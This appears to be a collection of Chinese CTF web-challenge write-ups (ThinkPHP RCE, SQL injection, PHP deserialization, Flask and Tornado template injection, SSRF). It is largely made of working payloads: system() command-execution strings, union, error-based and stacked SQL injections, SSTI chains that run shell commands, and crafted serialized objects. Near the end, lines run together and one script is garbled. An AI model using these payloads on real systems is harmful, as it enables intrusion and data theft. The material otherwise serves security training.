?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27
https://blog.csdn.net/qq_40884727/article/details/101452478
过滤了php:// 大写绕过即可,也可用data://text/plain;base64,xxxx(base64编码后的数据),或者挂马(没必要)
file=source.php%253f/../../../../../ffffllllaaaagggg
其实file=source.php?/../../../../../ffffllllaaaagggg就可以第一次截断过了就返回true了
1‘ or 1=1#回显 1’ or 1=2#没反应 有注入,且无任何防护,常规注入即可
1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#
1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#
1' union select 1,2,(select group_concat(fl4g) from news.secret_table)#
或者直接抓个包丢sqlmap啦
下载后打开
将eval函数改为alert(),改文件后缀名为.html打开即可将原函数弹出来
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)
}
}
}
document.write('');
delete
只要e的规则符合长度为16并且以be0f23开头以e98aa结尾并且需要匹配233ac和c7be9即可.
也就是be0f233ac7be98aa,题目的意思应该是在这输入框提交即可得flag,
或者在火狐控制台中直接运行正则后得代码就可以弹出来flag
进去是空的,试了试发现有源码泄露
发现不全,查看源代码试试
对id的值二次url encode即可,为了方便只对a做处理 id=%2561dmin
也就是要绕过wakeup,反序列化时,__wakeup触发于unserilize()调用之前,但是如果表示对象属性个数的值大于真实的属性个数时,会导致反序列化失败而同时使得__wakeup失效。
打印出序列化的字符串,然后改一下值提交就行
用了js做了文件限制
选择文件跳出弹框之后,直接删了就行
还贴心的给了上传路径,菜刀链接即可
明摆着就是模板注入呗
看了看没别的地方提交数据了,在url尝试
证明有注入,直接上payload,命令执行{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}},再用cat读出来就行
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat fl4g").read()')}}
看名字反序列化没跑了,打开就送源代码
应该还是要绕过wakeup,不过这里得绕过个正则preg_match('/[oc]:d+:/i',$var);利用符号+就不会对`([字符O或C]:[一个或多个数字])`格式进行匹配
改成O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},再base64加密一下,Tzo0OiJEZW1vIjoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbCs0Zy5waHAiO30=
提交发现不行。。。。看了别人的wp用的是
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
用的是php里的加密var_dump(base64_encode($C));,和我用hackbar加密出来的不一样。。好像是字符串里面有一些空字符根本没法被编码
测试一下确实是空字符,显示以及复制的话都是一样的,但明显字符串的长度不同
还是全部用脚本吧
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
提交即可
过滤了一些字符,试试报错 1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#,得到数据库名
1' and (extractvalue(1,concat(0x7e, version(),0x7e)))# 得到数据库的版本信息 10.3.18-MariaDB
但后面的查询仍会用到select,/i表示对大小写进行检查,所以大小写绕过无效,好像没别的法子了,尝试堆叠注入
1' ;show tables# 查表
1' ;show columns from `1919810931114514`# 查字段(这个表名比较可疑就查这个,字符串为表名进行操作时要加反引号)
但用show打不出数据了,不过可以通过执行多语句,将要执行的sql语句进行拼接,这样就可以将过滤的 sql关键字拆分绕过检测,通过动态执行sql语句,这里使用了strstr对set和prepare关键字进行了检查,但是strstr检查不对大小写进行检查,所以这里可以通过大小写绕过,set和prepare关键字只要有一个是大写就可以绕过。
';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
看别人做的发现并没有过滤rename和alter等,所以也可以改变表的结构。构造语句
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
先把words表名改为其他名,再把1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表,输入1查询就行
应该是和render有关的python模板注入,tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
改一下url里的任意参数,报错了,有个msg参数可以提交,测试是不是模板注入,发现很多运算符都被过滤了
render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(handler.settings["cookie"]) }}
其中这个handler.settings对象,handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是环境变量,可以从这里获取的cookie_secret
下面就用hint.txt的加密公式,用python把flag.txt给出的文件名加密然后再url打开就行了
# encoding: utf-8
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
if __name__ == "__main__":
filename = '/fllllllllllllag'
cookie_secret = 'b3a3ad1a-b4bc-4d3c-84a0-b7ddaf646f50'
flag = md5(cookie_secret+md5(filename))
print(flag)
只有报表中心能点,有个id可以传参,以为是sql但没反应,发现id处值150都没报错啥的,用bp爆破一下id=2333时弹出flag
注册用户,买彩票然后,花钱买flag
关键是要知道生成规则,看了一圈别的地方没有什么线索
但发现有源码泄露,用githack搞下来,去看主要的api.php源码
跟踪到random_win_nums()函数
再转到random_num()函数
openssl_random_pseudo_bytes — 生成一个伪随机字节串,字节数由 length 参数指定,生成的伪随机字节序列将是唯一的,如果它们有足够的长度,但不一定是不可预测的。
生成过程大致就是:openssl_random_pseudo_bytes生成一个伪随机字节串,然后ord取其第一个字符的ascii码值,要是小于250,就除以25,结果取整,转为字符串返回
但这个没地方下手啊,只能回头看看用户数据传入和比较的地方
好像没有过滤,利用弱类型比较绕过true==数字,
重复发几遍包,钱够了就能买flag了
用了什么语言,框架都有了,肯定还有.git泄露
用GitHack获取
Flag.php没什么东西,去看index.php的代码,主要是这两句,这里有assert这个函数在,那应该就是代码执行漏洞没跑了
返回内容要查看源代码:
?page=').system("ls");//
?page=').system("ls templates");//
?page=').system("cat templates/flag.php");//
直接显示:
?page='.system("ls").'
?page='.system("ls templates").'
?page='.system("cat templates/flag.php").' //flag要查看源代码获得
打开就送源代码和提示
中间那段for循环,返回每一位字符的ascii码+1的字符重新组成字符串
写个decode脚本
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$txt1="学习 PHP";
function decode($str){
$_o=base64_decode(strrev(str_rot13($str)));
for($_0=0;$_0 $_c=substr($_o,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; } return strrev($_); } echo decode($miwen); ?> 跑出flag提交即可 查看源码 很明显,flask ssti模板注入,根据路由注入点在/shrine/后面,但要绕过过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单 源码中app.config['FLAG'] = os.environ.pop('FLAG'),推测{{config}}可查看所有app.config内容 在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。 config 对象: config 对象就是Flask的config对象,也就是 app.config 对象。 {{ config.SQLALCHEMY_DATABASE_URI }} 虽然有过滤但python还有一些内置函数,比如url_for和get_flashed_messages url_for()作用: (1)给指定的函数构造 URL。 (2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。 get_flashed_messages方法: 返回之前在Flask中通过 flash() 传入的信息列表。 payload: {{url_for.__globals__['current_app'].config['FLAG']}} {{get_flashed_messages.__globals__['current_app'].config['FLAG']}} join之后,点开用户查看,其中博客地址需要http(s)开头的,感觉就是把你给的博客地址内容加载进去 扫描发现有robots.txt, 查看发现有备份文件 下载后浏览器打开,查看源代码,得到整理过的源码,进行审计 我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面 Get()方法并没有对获取过来的url进行任何的过滤所以这里存在SSRF,curl不仅可以http、https还可使用file协议,构造反序列字符串读取flag.php。 然后就是要找到注入点,在参数no处测试?no=1 and 1=1,?no=1 and 1=2 数字型注入,且爆出了网站的绝对路径,下面先正常注入 爆表名 ?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)# 爆列名 ?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)# 可以看到有四列,用user.php获取序列化后的字符串,构造语句注入即可,/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 路径已经通过union注入,显示在blog的位置,f12查看 打开链接,查看源码即可得flagshrine
fakebook